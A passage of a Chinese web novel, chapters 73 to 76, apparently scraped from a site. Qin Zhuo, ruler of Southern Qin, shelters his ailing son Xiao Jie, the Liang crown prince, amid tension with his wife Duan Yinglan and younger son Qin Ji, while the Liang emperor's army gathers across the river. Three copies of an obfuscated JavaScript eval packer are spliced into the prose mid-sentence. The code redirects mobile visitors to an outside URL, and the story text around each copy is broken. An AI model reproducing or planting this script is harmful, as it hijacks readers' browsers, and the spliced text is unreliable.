萧玠抬眼,眼仁黑黑,眼睫漉漉,一下子叫陈子元恍惚像看到少年的秦灼。他忙帮秦灼搀扶萧玠,道:“里头熬好了热姜汤和驱寒茶,有什么话进去说。” 萧玠借他手臂的力登台阶,低声道:“多谢陈将军。” 陈子元心中一颤,忙去看秦灼。秦灼只急声往里喊:“给殿下找干净衣裳,窗帘门帘拉好,别透半点风!” 萧玠进了殿,秦灼要陪他更衣。陈子元道:“你也赶紧换衣裳吧,湿成这样,你膝盖和腰受得了?” 秦灼道:“这边他找不清,我先看着他。” 隔着屏风,萧玠声音传来:“我自己就好,您……快去更衣。” 秦灼到底依他,换衣裳出来,萧玠已从椅中坐着,捧着姜汤慢慢啜饮。陈子元正摸萧玠额头,“倒是不烫。” “他打小发热不烧额头。”秦灼快步赶上去,探手摸他脖颈,忙道,“这还不烫?快传医官!” “别!”萧玠拉住他,“别兴师动众,万一程忠知道我在这儿,再对南秦……” “我他妈怕他?”秦灼再摸萧玠双手,只觉冰凉,“你好好吃药好好休息,外头的事不用操心——再搬一床铺盖,今晚殿下跟我住。赶紧把床铺好,殿下得卧床!” 萧玠抬头看他,脸颊已烧得发红,眼睛一下子就润了。他嘶哑道:“我可以住在这边吗?会不会……不合规矩?” 秦灼扶起他往寝殿走,“你安心住。这里不是长安,谁敢嚼话,我拔了他的舌头。” 他打开帘子,扶萧玠在自己床边坐下,蹲下给萧玠脱鞋。萧玠吓了一跳,不知要扶还是要跪,颤声道:“别……我自己,我自己就好。” 秦灼已将他新换的软履脱下,撑住床沿起来,再替他脱外袍。 萧玠张了张嘴唇,到底叫道:“大公,我……” “阿玠。”秦灼呼吸停滞一下,抬手摸他的脸,声音有些颤抖,“你这么叫我吗?” “我……我不知道……”萧玠哽咽道,“我那么叫你,你不好看。从前当着人……都不要我这么叫。” “我要你叫阿玠,阿耶要你叫。”秦灼替他撂开头发,“你想怎么叫就怎么叫。” 不知是熏香作用,还是发热缘故,萧玠头脑发晕,愣愣看他一会,突然捂住脸哭起来,“我……我不敢呀,我每次一叫你就要醒了,我想多看看你……我好久没见你了,我好久没见你了!” 秦灼紧紧抱住他,泪如雨下。他感到萧玠在他怀里缩起来,不敢抱他,只敢揪紧褥子。 秦灼道:“不是梦,好孩子,阿耶在这里……阿耶在呢。” 萧玠依旧身体僵硬,终于低低叫道:“阿耶?” “是阿耶,阿玠,是阿耶。”秦灼轻轻拍打他,“阿玠不怕,咱们回家了。一切有阿耶呢。” 等医官入内,萧玠仍直直盯着秦灼,不敢分动一眼。医官替他把过脉,一时无言。 秦灼忙问:“怎么样?” 医官沉吟片刻,“臣先替殿下开一副退烧的汤药,还请大王随臣移步。” 这是有话要说。 秦灼要起身,萧玠忙拉他的手,脸上泪迹未干,小孩子般哀求:“你别走。” 秦灼忙道:“阿耶不走,阿耶陪着阿玠。阿玠安心睡,有阿耶在。” 他冲医官微微一动眼色,医官会意,便退外煎药。过了约莫一盏茶功夫,秦灼蹑步从寝殿出来,见他便问:“太子的身体怎么样?” 医官道:“殿下年纪虽轻,却有油尽灯枯之象。” 秦灼半晌没说话,道:“你再看看。” 医官斟酌道:“臣听闻梁太子幼时遭难,便有太医断言……难至及冠。梁皇帝更是多年求医问药,杏林翘楚只怕尽数储于梁宫。臣力微德薄,实在……” 秦灼打断:“油尽灯枯能这么跑过来,能这么折腾一路吗?” “以臣愚见,是殿下服用了一年长青散的缘故。” “长青散?” “是,以长生蛊调和赤金王虫,当有此效。” 秦灼瞠目,“你的意思是……太子用了长生?” 医官蹙眉,摇手道:“长生之痛,万剐千刀,以太子的身体决计难以承受。依臣所见,是有人服用长生蛊,再取生血肉调和,制成血蛊让殿下服下。虽药效稍减,但无需伤身,实是上乘之策。” 他半天没有听到秦灼答复,抬头看去,秦灼依旧面无表情,手臂却已微微颤抖。他有点烦躁似的甩了甩手腕,问:“这药一天几次?” “一日至少两次。” “必须取用新鲜血肉吗?” “是,必须以鲜血养蛊,再制汤药,趁热服用方能起效。” 秦灼又是许久无言,半天才问:“既是上乘之策,又怎会油尽灯枯?” 医官道:“臣观殿下脉象,虽如此服药一年,只怕也停药一年了。以臣揣测,要么是养蛊之人体不能受,无法日日割肉放血,要么……是殿下有所发现,不肯再用。” 他仍不得秦灼答复,忙叩头道:“臣听闻梁太子仁德。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574956|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿中再次陷入沉默。 医官额头抵地,冷汗直流,半晌才听到秦灼的声音:“太子的身子,我交给你。我不管你用什么法子,我要太子福寿双全。” *** 医官喏喏退下后,秦灼便返回床边守着萧玠。床边拢了一盏灯火,透过琉璃罩子,光影如月柔和。萧玠苍白脸色为之一映,竟也透出些如玉光泽。 秦灼摘掉扳指,抚摸萧玠额头。这孩子睡梦中仍眉头紧蹙,小时候本不这样…… 可,小时候真不这样吗? 萧玠当年的样子,自己真的记得清晰无遗吗? 别说萧玠,秦灼这一瞬都觉得身处梦中。他印象里,他的阿玠还是团子大的一个,睁着大眼睛,黏声黏气地叫阿耶。十年不见,已经快和他一样高了。十七岁了。 外头响起一阵极轻的脚步声,不一会,陈子元蹑步到床前,刚要开口,秦灼便抬手制止,给萧玠掖好被子,再次挪步出去。 两人一到外间,秦灼立刻问:“到底出了什么事?” 陈子元沉声道:“潮州乱了,细柳营押解,潮州营谋反。听消息,鬻女之事栽赃南秦乃至坑害太子……都是程忠的主意,听说还勾结了影子。若不是太子命大,只怕……” 他每说一件,秦灼脸色就阴沉一分。虎头扳指被重新推回拇指,被他徐徐捻动。 秦灼低声道:“萧重光不中用啊。” 陈子元从旁边一把官帽椅里坐下,嗤道:“他那观音手毒入骨髓,哪怕梅道然找给他解药也无法根除,只能保他十年无虞——这眼瞧着十年就过去了。中不中用,也没几天了。” 他这样讲,秦灼反倒默然片刻,问:“温吉上次见他,瞧着怎么样?” 陈子元问:“要听实话?” 秦灼看他。 陈子元道:“形销骨立。” 秦灼不语。 陈子元又道:“你也别操心他,饶是这样,也没耽误他娶老婆呢!” 秦灼道:“新皇后是杨家的次女。” “你管他杨家女汤家女,如今阿双也被他储了——虽则是为了太子,到底也是立册授宝的夫人。他立了后宫,还能一直独守空房?哪个男人能守这望门寡?”说到这,陈子元突然醒神,忙道,“你和段氏不算,人家有主呢。” 见秦灼不语,陈子元又劝道:“哥,我掏心窝子讲一句,这么多年了,再放不下的早就放下,再情深义重的早就淡了。他能讲出一句相交泛泛,咱们何苦来?你一个人这么多年,别说温吉,我看在眼里都难受。咱们南秦不乏名门淑女,你若愿意,总有人能贴心。” 秦灼笑容淡淡:“我这么个冷心肝,罢了。” 陈子元还要劝:“哥……” “子元,阿玠是从我肚子里出来的,我早就没法找女人了。”秦灼笑了笑,“我这把年纪了。” 陈子元一时讲不出话,再开口,声音竟哑了:“咱叫他姓萧的坑了一辈子啊!” 秦灼轻轻叹口气,如今他听见萧恒,已没从前那样应激。他握住陈子元的手,道:“我有你,有温吉,有阿寄,现在阿玠也在。” “只要孩子能好好的,我就知足了。” 74.第 74 章 翌日萧玠醒来,听见轻轻响动。睁眼,见秦灼坐在床尾,拿剪子替他剪脚指甲。 萧玠只怕惊醒这美梦,静静看着不敢出声。秦灼发觉他醒,忙道:“别动,刚退了热,再躺一会。朝食有什么想吃的?你小时候爱吃这边的荔枝膏,我叫人做一碗,好不好?” 萧玠点头,“都好。” 秦灼将他剪下的指甲拢在掌心,道:“指甲还是爱往肉里长。” 萧玠道:“打小就这样。” 他鬼使神差地又补一句:“这些年常是阿爹帮我剪的。” 秦灼手中仍动作,没应声。 萧玠心中一紧,忙道:“对不起,我不该……” “没有,阿玠。”秦灼笑道,“他待你好,我也放心些。” 萧玠点点头,没再提这话。秦灼又同他讲几句,萧玠随意答了。再一会吃饭用药,都是秦灼喂他。萧玠温温顺顺,没再多说什么。 一碗汤药吃尽,殿外突然响起宫人走动之声。尚未通禀,帘子便被哗地打起,走进一个身穿苍蓝骑装、佩戴银饰的女人。 她略上年纪,保养却很得宜,更添一股别样韵致,望之只如三十出头。眼睛往萧玠身上一落,便笑起来:“我说光明台怎么严阵以待的,原道是来了贵客。” 秦灼扶萧玠躺下,对她道:“你去阿寄那边略坐一坐,我一会去找你。” 段映蓝笑道:“这是你的寝殿,自然也是我的寝殿。怎么,为了旁人,连我都要撵出去?” 她这口气极其亲昵,秦灼不知她又动了什么心思,蹙眉道:“青将军没来?” 段映蓝道:“我回这边,自然和你同床共枕,他来干什么?” 当着萧玠,秦灼不愿和她论这些,便抬步往外走,段映蓝也抱臂跟过去。 秦灼冷声问:“段宗主,你想怎么样?” 段映蓝笑道:“我是为你着想,梁太子和你住——这传出去不大好听吧。” 秦灼冷笑:“有什么不好听。” “你前鉴虽远,太子的覆辙不才过去半年吗?”段映蓝从怀中抽出一本册子递去。 秦灼掀开一页,只看一眼便啪地合上,“这是哪里来的?” “哪里?只怕这半年里全天下的书局,都靠梁太子的春宫图养活了。”段映蓝道,“我也是为你着想,只画他俩倒好,若梁太子宿你寝宫的事传出去,你跟着入了像……” 秦灼喝道:“他是我儿子!” 段映蓝笑道:“我知道,旁人可不知道。啊呀,要是把你俩画了,岂不是父子□□?那咱们也算不是一家人不入一家门了。” 秦灼咬紧后牙,“你到底什么意思?” 段映蓝看他,“咱们夫妻一场,我也盼你好,所以来劝劝你。阿寄两岁前头疼发热你一眼不看,练武带着浑身口子回来,也没从你殿里住过一日。秦太子尚不得此,一个梁太子,不合适。” 秦灼明白了。 她不仅是存心来膈应自己,更是来敲打他。一山不容二虎,有秦寄在,南秦只能有一个太子。 不论如何,秦寄分属嫡出,段映蓝就是秦寄的阿娘。秦灼百年后秦寄继位,西琼只会备受尊崇。但如果秦灼要传位萧玠,结果就截然不同。 如果不能保证秦寄的绝对地位——不能保证西琼的影响力,她不介意毁掉萧玠。 秦灼双眼含怒,如同冰棱。段映蓝美目含笑,如同火焰。她突然像发现乐子,跨步重新走回殿中,边笑道:“多年没见梁太子,现在身子养得怎么样?” 萧玠忙答道:“有劳宗主惦记,一切都好。” 这一刻,萧玠无比直观地认识到,这的确是秦寄的阿娘。那样野蛮的个性和山鬼的气质,需得常年浸染方能得之。 这样爱说爱笑的性格,和阿爹相比,的确好上不少。 秦灼紧追进殿时,段映蓝扭头看他,重新谈回开头的话题:“到你们南秦,我也是正正经经的公夫人,你叫我住哪去?” 秦灼道:“光明台的后花园有一处水榭,我叫人收拾出来。那边景致好。” 他二人还在你来我往唇枪舌剑,萧玠回过神,神思已然澄明。 阿耶已经娶了新的妻子,有了新的儿子,建立了新的家庭。 他是阿耶的儿子,但不是这家庭的一份子。 他是客居,不该住在主人的寝室。 是他逾越了。 阿耶待他好,是情分不是本分。他不能叫阿耶难做,更不能得寸进尺。 萧玠深吸口气,叫道:“大公。” 秦灼浑身一僵,段映蓝也停下话,饶有趣味地掉头看他。 再开口,萧玠已戴上温和妥帖的微笑,发自内心般道:“我去一旁住就好,这么多年我自己住,也住惯了。” 秦灼还要说话:“阿玠……” 段映蓝已笑道:“还是梁太子识大体,你还推脱什么?两口子这么多年,闹得我像和你老死不往,阿寄都像不知哪里抱来的。” 最后一句话像拿住秦灼死穴,他千言万语一下梗在喉间。秦灼沉眉看着段映蓝,气息起伏,到底握了握萧玠肩膀,道:“我从光明台再给你……” 萧玠垂首道:“光明台是秦公居室,这不合规矩。” 秦灼叫他:“阿玠。” “求你了,别……”萧玠低低叫道,“我没有办法……” 当头一棒。 秦灼陡然清醒,心中揪痛起来。 叫萧玠住在这里,让他看自己和其他人出双入对吗?这跟凌迟他有什么区别? 跟他解释?那秦寄的身世怎么办?不是他信不过阿玠……阿玠若知道,可能不告诉萧恒吗?萧恒知道了,会无动于衷吗? 秦灼抬头,对上段映蓝一双笑眼。 一个并居,诛的是他父子二人的心。 好狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581374|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒的心思啊。 秦灼道:“阿寄如今还没回来,他殿内东西一应齐全。你先去那边住,好不好?” 想起还未向萧玠提过秦寄,又道:“不知你晓不晓得,阿寄是……” “我晓得的。”萧玠打断,“大公替我收拾间书房或者阁子就好,少公不在,我不能住他的寝殿。” 那叫鸠占鹊巢。 秦灼只觉胸口一窒,低头瞧萧玠。萧玠倚在床头,手搭在被上,露出半条手臂。腕骨峥崚,皮肤只有薄薄一层,青蓝血管在下突起,像数条毒虫的寄生。 秦灼道:“好,你安心休养。那边离我也不远,我以后都去陪你。” *** 秦灼命人收拾出白虎台的书房,梁太子便在此正式下榻。 按理说,梁太子是天朝上宾,绝无居住此处的道理。但萧玠一再要求,不肯留在光明台,又不愿再辟宫室过分招摇,秦灼只得作罢。 这边说是书房,更像男孩子的武器库。各式刀兵琳琅满目,仅羽箭就有二十余种。架子上的确摆书,萧玠一瞧,竟都是兵书和武器图解。 宫人笑道:“咱们太子殿下最爱舞刀弄棒,从小就说,以后要做天下第一刺客。” 萧玠笑着应了,见桌案上有几张字帖,便拿起来瞧。看秦寄沉迷武艺,不料字也写得好。这个年纪的孩子能写出这样一手平稳的篆体,已是很不得了了。 萧玠念道:“冲天香阵透长安。” 宫人们笑道:“镇日见殿下写这个,却不知什么意思。” 萧玠只道:“这是古时黄巢的诗。” 他将字帖放下,拾笔研墨,在旁题下后半句。 秦寄常写这一句,恐怕是他心中之志。 他真的把弑君做成事业,认真、细致地规划和执行。自己能拦一次,还能拦一百次吗?万一真有那么一天…… 萧玠手中一抖,险些握不住笔,边将纸笔搁开,另往旁看去。 床已经铺好,都是取用上好的锦绣绸缎,丝滑细嫩如同婴儿肌肤。宫人将床帐打起来,请萧玠看看布置,道:“这被面是今年新贡的彩云锦,柔和保暖,一尺千金,咱们大王也只得了三匹。听闻殿下要南下,便叫人紧赶慢赶做出来。还有那安枕的如意,并非寻常白玉,而是专门从蓝田运回的暖玉。有一丝瑕疵的不要,不只雕坏了多少籽料。” 萧玠叹道:“太过靡费了。” 宫人笑道:“太子在大梁宫里什么奇珍异宝没见过,咱们还怕这些入不了您的眼呢。” 萧玠笑笑,并不过多解释。他身体亏空得厉害,服药歇息得早,殿内不知加了哪样安息香料,一会便昏昏欲睡。 困倦时,他隐隐听见窗户一响,片刻后,床帐被人自外撩开。 那人似乎一顿,萧玠便觉床边一沉。他撑开眼皮,一愣。 一个火红骑装的男孩坐在床边,像没看见他,自顾自脱靴。 75.第 75 章 等秦寄把两只靴子脱下丢开,萧玠才轻轻问道:“你去哪里了?” 秦寄头也没回,继续解衣,似乎早发现他已经惊醒,只道:“你怎么在这里。” 萧玠坐起身,秦寄已经脱掉外衣,露出里头的雪白中单。萧玠看到,他后肩处豁开一道口子,露出里面洇血绷带。 萧玠心中一紧,忙问:“你受伤了?” 秦寄冷冷道:“干你什么事?” 萧玠默了一会,“大公很担心你。” 秦寄冷笑:“他更担心你吧。” 未经主人同意,自己便擅自在白虎台住下来,难怪秦寄会生气。 萧玠忙解释:“没有,阿寄。我只是暂住,大公说这边是你的书房,我以为不会……” “因为他不知道,比起寝殿,我一年更多的时间是住书房里。” 秦寄打断他,用无关于己的口气说出怨怼颇深的话。萧玠心中一惊,低头时正与他对视。 那双眼睛深如古井,毫无波澜,只有冰冷。 秦寄没看他多久,掉回头,解掉腰间玉带,突然说:“杀人。” “什么?” “你问我去哪里,我去杀人。” 秦寄见他毫无反应,又道:“不问我杀什么人?” 萧玠只道:“你的事情,我不该多问。” 秦寄再次哂笑:“你可以问问,毕竟,杀的你爹。” 萧玠浑身一竦,几乎察觉不到手指如何挪动,半晌,方哑声道:“你说的,你不杀他……你要杀的不是他。” 秦寄道:“我的确没打算杀他,但他自己撞到我手里。老天有眼,怪不得我。” 他边说着,边把匕首从靴边拔出来递给萧玠,“特意没擦血。” 那寒铁散发的血腥气叫萧玠几欲呕吐。他双臂发沉,握得那匕首光芒乱溅,口中仍道:“我不信。” “爱信不信。” 秦寄不再理他,掀被从他身边躺下,后背就这样大喇喇袒露给萧玠和他手中剑锋。等了好久,萧玠未发一言,一动未动。秦寄听到他长短不一的鼻息,感到他在颤抖。 秦寄莫名烦躁,也没回身,转手从萧玠手中劈手抢回匕首,远远扔到床边,说:“行了,捅了一剑,人没死。我和你爹说,我会弄死你。” 捅了一剑。 萧玠脑子嗡嗡作响,那哄闹之声许久才彻底消散。他定了定神,注意到另一件事,“你见到了陛下?在长安,还是在哪里?” 未闻秦寄答复,萧玠有些讪讪。他念着萧恒,心中苦涩,又见秦寄后背血口,到底柔声问:“我替你换药,好不好?” 秦寄紧闭双眼,没什么好气:“再不睡我现在就弄死你。” 萧玠轻叹口气,重新躺倒。秦寄一顿,抬手替他拽过被角。 *** 天光初绽时,萧玠发觉榻边已空,身边被窝半温,看来起身不久。床帐仍密密垂着,看样是着意拉严过。 萧玠坐起身,隔着帘帐,听到外头纸页响动,男孩压低声音:“我阿耶来过?” 宫人道:“殿下是指这字?这是梁太子的墨宝。” 外头突然没了动静。 萧玠心中一跳,正要起身,便听宫人叫道:“大公金安。” 秦寄也叫一声:“阿耶。” 秦灼一顿,旋即压低声音,却微含怒气:“你还知道回来!” 萧玠忙打开帘子趿鞋起来,叫道:“阿耶。” 这一会,秦寄已梗着脖子跪在地上,轻车熟路,这一套似乎做过许多遍。秦灼扶住萧玠,问:“怎么眼下这么重的乌青,昨夜睡得不好?” 萧玠道:“都好。”又看向秦寄,微笑道:“少公好。” 秦灼一愣,转头看一眼秦寄,微吸一口气,道:“阿寄,这是……” 秦寄道:“我知道,他是那个阿玠。” 秦灼道:“叫阿兄。” 秦寄道:“阿娘只生了我一个儿子。光明宗旨,同母所出方为兄弟,我们不是一个肚子里出来的。就算是,非我同母,则为庶孽。” 他转头看向父亲,“不是吗,阿耶?” 那样冷箭一般的言辞和目光,这一刻秦灼怀疑自己养了十年的不是一个儿子,而是一条毒蛇。他浑身哆嗦,身边萧玠已开口:“少公所言甚是。” 秦寄目光转向他,并不多言。 萧玠道:“我有另一件事,想拜托大公。” 他呼吸微紧:“我想请大公帮我打听一个人……那天他换了我的衣服,替我引开了潮州营追兵。是个男孩,和我相仿年纪,名叫……” 秦寄打断:“他死了。” 萧玠没反应过来,“什么?” “梁皇帝派人搜寻你的踪迹,找到了一具尸首。穿你的大红外袍,形容惨烈,是被虐杀。”秦寄说,“和你相仿年纪,是个男的。” 秦寄的声音越来越远,嗡嗡隆隆,分辨不清。 虐杀。 沈娑婆被虐杀。 萧玠凭空想抓什么,一个过力跌在地上,别说秦灼,连秦寄都没拉住。等他回神,发觉自己已经倒在秦灼怀里,脸上泪水淋淋,声音也哆哆嗦嗦:“尸首呢……他的尸首在哪里阿耶,他的尸首在哪里?” 秦寄道:“你爹收殓了,风光大葬。” 萧玠双眼发直,恍若未闻。 耳边还是不久前沈娑婆的声音。那次亲吻之后,自己开始抵触沈娑婆的触碰。他是怎么说的? 他说殿下,对一个无关于己的人,没关系的。 没关系吗? 真的……无关于己吗? 他的脸、他的手、他的气息、他的嘴唇……还有他的音乐,他的知心。 初见之夜,梨花满树,月华满池,积霜满地。那个少年乐者怀抱琵琶翩然而至,开始一场不期而遇又命中注定的合奏。在此之后的无数个日夜,都是他的音乐陪萧玠度过生命中最艰难的时刻。哀而不伤,怨而不怒,哪里像教坊之人,分明是上帝子孙。 他陪伴他、引导他,又理解他、爱抚他。萧玠以为沈娑婆永远这样温文尔雅,直到潮州兵乱的夜晚,他那个近乎疯狂的吻。 那股迷人药香从唇齿间逸散开来之时,萧玠尝到一股腥甜气味。是血的味道。爱欲的味道。 ……爱欲啊。 萧玠双掌合在脸上,身体不住搐动。 为什么不肯承认,为什么几次三番地逃避他? 为什么没有告诉他……我的确动心了,救了我心之人、引我心动之人在这时候不是别人…… 秦灼抱紧萧玠,在他喝唤太医的声音里,萧玠突然发出一道叫喊,倒在他怀中,渐渐哭出了声。 *** 沈娑婆死讯传来后,萧玠精神再度萎靡,以肉眼可见的速度骤然消瘦。过几日天朗气清,秦灼便带他去金河边散心。萧玠不欲他担忧,没有推诿。 秦灼替他解马时,秦寄早就坐上马背。他小小年纪,骑这样一匹高大黑马竟不显得怪异。秦灼警示地瞥他一眼,扶萧玠上马认镫,也没有阻拦秦寄跟随。 太阳如射金箭,穿透云层,放下万束光芒。草野之间,金辉洋溢,河水之上,金光荡漾。一片暖洋洋的金色世界,连空气都染成透亮的浮金玻璃。秦灼替萧玠挽缰,正看见他手臂,皱眉问:“怎么生了红疹?” 萧玠道:“或许气候潮湿,这几日又多食鱼虾。并不痒,不妨事的。” 秦灼道:“阿玠学了弓箭?” 萧玠看向那枚白玉扳指,垂首道:“只是学了而已,准头差得很,也开不得强弓。” 秦灼问:“谁是你的弓箭师傅?” 萧玠牙关哆嗦一下,轻轻说:“嘉国公世子。” 秦灼不再说话。半晌,嘴唇才掀开条缝:“他……” “他很好,阿耶。他对我很好。”萧玠低声说,“那件事……不是他的错,他想要救我。” 秦灼包住他的手,像小时候牵他一样紧紧握住,停顿片刻,又问:“你爹怎么说?” 这还是这段日子以来,秦灼第一次提起萧恒。 萧玠微愣,惊喜之前一股更酸涩的感情满溢于胸。他哑声道:“阿爹很生气,我把他拦住了。而且我那一阵不是很好……阿爹也没有心力去罚什么。” 秦灼居然笑一声:“他向来公私分明。” 萧玠分不清他是冷笑还是嘲弄,不敢随意接话。思索间,已听天边一声雁唳,一匹黑马飞驰而过,秦寄已拎得一只大雁在手。萧玠远远望去,笑道:“阿寄年纪虽轻,武艺却是百里挑一,的确天赋异禀。” 秦灼神色有些复杂,道:“随他阿娘。” 闻及段映蓝,萧玠只是颔首,又问:“阿耶也常带阿寄骑马吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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临别前,女孩们向秦灼笑盈盈道:“大伙携了新酿的琼花酒,大王若遇着殿下,别拦他吃呢。殿下虽小,却是海量!” 秦灼笑道:“知道了,也就同你们吃几口,在家不许他吃的。” 他转过头,看萧玠犹望游人,会错了意,问:“想吃一些?” 萧玠尚未回复,秦灼便驱马上前。倒酒的男子身穿云纹绸缎,当为贵族子弟,见萧玠也礼数周全,三叩九拜后,官话地道:“拜见梁皇太子。” 他这一跪,四周哗啦啦跪倒一片。萧玠有些局促,忙叫人起来。秦灼笑道:“我引殿下出来逛逛,瞧见你们,上来讨口酒吃。” 男子忙笑道:“臣等荣幸之至。” 他忙启箱奁,从杯盏中千挑万选,方找出一只白玉酒樽,又吩咐仆婢去寻银针。秦灼便道:“无需这样麻烦,你们不是用箬叶杯么?给他卷一个便罢了。” 男子忙道:“太子是天朝贵客,岂敢如此。”又压低声音,特意用南秦话讲:“当众试毒,若有万一,也怪罪不到大王头上。” 秦灼不好言明,便将白玉酒樽递给萧玠,说:“略吃一口便罢,你不能多吃。” 萧玠垂首应是,双手将酒樽捧过,真的规规矩矩只吃一口,再次奉还,竟也有些拘谨。 秦灼同他们谈笑几句,便要告辞,突然听萧玠问:“少公常往这边来吗?” 那男子一愣,笑道:“太子殿下尤爱山野,常到这边跑马。比起琼花,还是先前的茱萸酒更得其心。” 萧玠点点头,不再多说什么。 秦灼怕他多思,便同众人告辞,正要替萧玠挽缰,突然听得一道角声吹响,是金河哨岗预示敌情的警告。 一时间,人群纷乱,男女跑动,秦灼将萧玠挡在身后,高声喝道:“孤在此处,大家安心!不要慌乱,先去上游,虎贲卫会护送大伙回城!” 喧嚷之间,一匹黑马已经疾冲上前。秦寄坐在马背,红衣如火飞扬,他迅速俯身从靴边拔出匕首,立马秦灼之前。 秦灼低声道:“阿寄,你带哥哥回去,听话!” 还不待秦寄反驳、秦灼发怒,斥候已快马奔来,身后还插有示警红旗。 秦灼疾声问:“出了什么事?” 斥候上气不接下气:“金河对岸出现大批兵马,刚刚探得,是……” 秦灼皱眉,“是什么人?” 斥候看看他,再看看萧玠,抱拳道:“是梁皇帝。” 76.第 76 章 萧恒驾到的消息传来后,金河边气氛立即冰冻。 秦灼立马望向对岸,面上毫无表情。虎头扳指随他指叩马鞍轻响,笃笃笃地叫人心烦。一旁的黑马尾巴来回扫动,马背上秦寄脸色冰冷。 半晌,秦灼方问:“梁皇帝有什么举动?” 斥候道:“没……没什么举动。” “没说渡河?” “已经从边界外扎营,但的确没有准备船具水具,瞧上去不像有渡河打算,而且也没有人送书帖过来。”斥候忐忑道,“大王,这是要……” “敌不动,我不动。”秦寄打断,“多这些嘴。” 斥候告退的马蹄声里,萧玠回首北望,大河金波粼粼,宛如银河相隔。他看不见父亲的旗帜和身影,眼前只有大明山五万里的翠翠青青。 萧恒隔河对峙的消息一出,谁都没有闲游心思。半路上秦温吉派人来找,秦灼便快马先回,留两个男孩在后缓行。 秦寄那匹黑马识途,无需他开口喝遣便迈步寻路,在无尽草野间曳出一条宫辂碾过似的轧痕。他不替萧玠掌缰,但两人挨得极近。二人腿部触碰时,萧玠还以为他穿戴着什么硬皮子护膝,低头察看,见是男孩外穿的一条绸裤,诧然这样小的孩子竟生了如此一副钢筋铁骨。 秦寄不再靠近,但也没有远离之意,在这样一个上难达天下难闻地的距离,他突然说起不久前的另一件事:“一群杀手借你的名头,引你爹上钩。他们推出两个人扮演你,给了萧恒一把弓箭,要他射死假的,救走真的。” 他直呼萧恒名讳,萧玠眉心微动,却没有制止,只问:“你怎么知道?” “我就在当场。”秦寄靴子打了下马腹,“房梁之上。” 他瞥一眼萧玠持缰的手,已握成拳头。秦寄继续说:“他那支箭引了很长时间,哪怕我蹲在房梁,都能看清他浑身发抖。传闻中叫多少人闻风丧胆的梁皇帝,居然能因为开弓怕成这样。” 萧玠沉默一会,问:“他怕认不出我,误杀我吗?” 秦寄道:“他怕认不出你,误杀旁人。” 一瞬间,萧玠透过秦寄无底洞般的双眼,看到他将军庙里引弓的父亲。他听到萧恒细微颤抖的吐息,鲜血从他指间竞跃而下,坠落在地时溅上萧玠鼓膜,砰然之声响如一枚血色烟火。 如果只能舍一保一,萧恒只会舍弃自己的儿子。 哪怕这会让他生不如死。 秦寄低手抚摸黑马鬃毛,道:“梁皇帝从来都是大义灭亲之人,当年是,现在还是。我只是很好奇,这么灭到最后,他身边还能有谁?” 萧玠许久无言。 秦寄再看他一眼,从他手中挽过缰绳,轻轻一振,那匹白马跟上黑马步子,一时之间,只闻草叶沙沙,马蹄达达声。 二人一路无话,临近王城城门,秦寄突然问:“萧玠,南秦好吗?” 萧玠道:“世外桃源。” 秦寄道:“大梁宫中,龙潭虎穴吧。” 萧玠垂首不语。 “一个生地,一个死地。一个随时都能牺牲你来保全别人的父亲,和一个能放弃任何人来保全你的父亲。” 秦寄松开他的缰绳,却在这一刻扭头看向他。 他说萧玠,看你怎么选。 *** 秦灼赶回光明台时,秦温吉已等候良久,一见他来便开门见山:“梁皇帝的事想必你也知道了。” 秦灼不答,算是默认。 见他到,秦温吉反倒气定神闲起来,从一旁琉璃碟里捡了个枇杷剥,边道:“一不过河二不宣战三不退兵,他就是在等萧玠的消息。萧玠来南秦,也没给他报个平安?” 秦灼从对面坐下,道:“这才来了几天,孩子身体还没好利索,顾得上他?” 秦温吉道:“如今萧玠身子大好了,他爹也来接了,你预备怎么办。” 秦灼道:“阿玠不走。” 秦温吉冷笑一声:“自从那回之后,你俩之间没少通气,我也懒得管你。这次他送萧玠来就没走的打算吧——我想想,他预备怎么处理——哦,年前又对外宣称萧玠病重,原来是打这个主意。” “如果萧玠不走,他就声称梁太子薨,让他长长久久留在南秦。” 秦灼拿起个橙子掌在手心。 秦温吉看他动作,道:“你别告诉我,你也是这么打算的。” 秦灼抬眼看她,“是又如何?” “那我请教大王,萧玠来秦,是什么名什么分?”秦温吉并不恼怒,这么多年下来,她已经成为一个烹煮家族历史的庖丁,轻而易举就能从他们的血肉联系里将秦灼的软肋剖解出来。她巧舌轻弹,犹如银刀旋转,“你已经有了嫡长,阿寄是你唯一正统的儿子。何况萧玠这个天朝太子万众瞩目地活了十七年。十七年的烈火烹油,你和梁皇帝再手眼通天,也没法把他抹杀干净。” 她微微一顿,“除非,叫他像个见不得人的私生子一样藏于深宫,永不见人。” 扑哧一声,秦灼手中橙子爆裂缝隙,金血蜿蜒而下,橙皮留下五个浅黄指印。 秦温吉问:“你舍得吗?” 秦灼道:“我从前带阿玠回来过几趟,不少人记得,阿寄之外,我另有长子。” 秦温吉冷笑道:“看来只有姓萧的是你儿子,阿寄什么都不是。” 